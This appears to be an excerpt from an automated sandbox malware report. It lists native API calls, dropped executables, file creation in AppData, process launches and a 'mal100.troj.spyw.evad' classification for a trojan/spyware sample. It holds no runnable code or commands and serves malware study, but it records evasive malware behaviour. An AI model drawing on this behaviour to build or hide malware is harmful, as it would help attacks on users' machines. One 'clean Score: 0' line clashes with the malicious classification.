Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D976 ZwCreateFile,ZwCreateFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1976 ZwCreateEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B160 ZwUpdateWnfStateData,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A160 ZwCreateWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8966 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912E9F ZwCreateEvent,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959EA0 ZwCompareSigningLevels,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A949ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596D0 ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9166D4 RtlInitUnicodeString,ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596C0 ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A96DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E6F9 ZwAlpcSetInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9276FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596E0 ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959610 ZwEnumerateValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A952E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B630 ZwWaitForKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959E30 ZwCancelWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959E20 ZwCancelTimer2,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959650 ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AE70 ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959670 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5780 DbgPrompt,ZwWow64DebuggerCall,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C5F87 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99A7AC ZwCompareSigningLevels,ZwCompareSigningLevels,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9597A0 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AFD0 ZwShutdownWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9597C0 ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920FFD RtlInitUnicodeString,ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A0FEC ZwDuplicateObject,ZwDuplicateObject,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959710 ZwQueryInformationToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6715 memset,memcpy,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A949702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959730 ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CCF30 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959750 ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959740 ZwOpenThreadToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99A746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959F70 ZwCreateIoCompletion,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959770 ZwSetInformationFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AF60 ZwSetTimer2,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A993C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A480 ZwInitializeNlsFiles,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4CAB ZwTraceControl,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912CDB RtlFreeHeap,ZwClose,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A4C0 ZwIsUILanguageComitted,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1CE4 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950413 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1411 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93FC39 ZwAssociateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlpLoadUserUIByPolicy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A420 ZwGetNlsSectionPtr,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1C49 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959C40 ZwAllocateVirtualMemoryEx,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959C70 ZwAlpcConnectPort,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A955C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1C76 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913591 ZwSetInformationFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1582 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595B0 ZwSetInformationThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DB0 ZwAlpcSetInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9165A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DA0 ZwAlpcSendWaitReceivePort,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9145D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595D0 ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595C0 ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93EDC4 ZwCancelWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595F0 ZwQueryInformationFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DE0 ZwAssociateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AD10 ZwSetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D0B ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959520 ZwWaitForSingleObject,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFD22 ZwQueryInformationProcess,RtlUniform,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D43 ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A940548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959D70 ZwAlpcQueryInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1D6A ZwWaitForMultipleObjects,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D6D61 ZwAllocateVirtualMemoryEx,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401915 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402040 NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402242 NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402313 NtOpenKey,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401921 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401931 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402535 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401938 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401FD8 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401FFE NtQuerySystemInformation,LocalAlloc,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00402190 NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_00401493 NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_0040199B Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004021B5 NtQuerySystemInformation,

Source: 32BC.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 7428.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 192F.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 6DDE.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 8E8B.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 5D4.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 86B8.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 75B0.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 89D7.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: sfiueca.7.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: SkB6zJ6H3N.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\cviueca

Jump to behavior

Source: 1105.tmp.29.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/37@64/12

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

Source: SkB6zJ6H3N.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
